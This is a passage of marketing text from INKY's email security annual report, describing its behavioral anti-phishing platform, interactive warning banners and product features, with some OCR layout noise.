company could also deliver continuous user behavior modification? Well, it's possible. In 2022, INKY set its sights on changing
user behavior. Leveraging more than 60 different interactive banners, the INKY Email Assistant coaches employees to make
safe choices with their email, on any device or email client.

inky.com EMAIL SECURITY ANNUAL REPORT
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EMAIL SECURITY PLATFORM

INKY's behavioral email security platform catches everything.

Like a security coach, it signals suspicious behaviors with interactive banners that guide users to take safe action on any
device or email client. IT teams don’t face the burden of filtering every email themselves or maintaining multiple systems.
Through powerful technology and intuitive user engagement, INKY keeps bad actors out for good.

n = . N
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INBOUND EMAIL INTERNAL EMAIL OUTBOUND EMAIL ADVANCED ATTACHMENT EMAIL ENCRYPTION
PROTECTION PROTECTION PROTECTION ANALYSIS Guard sensitive data with
Block phishing and coach Protect internal email traffic Prevent data loss with interactive Detect deeply hidden malware fast and simple
users in real time. against account takeovers. safeguards for outgoing emails. (oo b s ] st e encryption.

( learn more ) ( learn more ) ( learn more ) ( learn more ) ( learn more )
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Key Capabilities
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e Phishing is still the number one cause of data breaches for companies and the hooks are getting sharper.
Most people don't realize how far the problem has advanced. Today's criminals employ a variety of incredibly
sophisticated techniques that elude even the most skeptical and well-trained eyes. This is where INKY
excels. Through innovative computer vision, Al, and machine learning INKY catches everything.

= o =

THE BANNER MOBILE PROTECTION THE DASHBOARD
Color-coded banners on every Email protection that works Admins have complete control over
email offer threat assistance to across any device and any customization and how your end-users

your employees in real-time. email client. will interact with INKY's banners.

( learn more ) ( learn more ) ( learn more )
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COMPUTER VISION SOCIAL GRAPHING REPORTING
Self-adapting Al algorithms and a deep INKY gets to know users and detects Identify, analyze, and remediate from one
understanding of how email works is what makes anyone impersonating someone from pane of glass, making it easy to identify trends
INKY effective at keeping up with zero-day attacks. within the organization or external. and share reports with the executive team.

( learn more ) C learn more ) ( learn more )
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INKY

Secure Email.
Change User Behavior.

INKY is an award-winning, behavioral email security platform that blocks
phishing threats, prevents data leaks, and coaches users to make smart
decisions. Like a cybersecurity coach, INKY signals suspicious behaviors with
interactive email banners that guide users to take safe action on any device or
email client. IT teams don’t face the burden of filtering every email
themselves or maintaining multiple systems. Through powerful technology
and intuitive user engagement, INKY keeps phishers out for good. Learn why
so many companies trust the security of their email to INKY.

Request a demo
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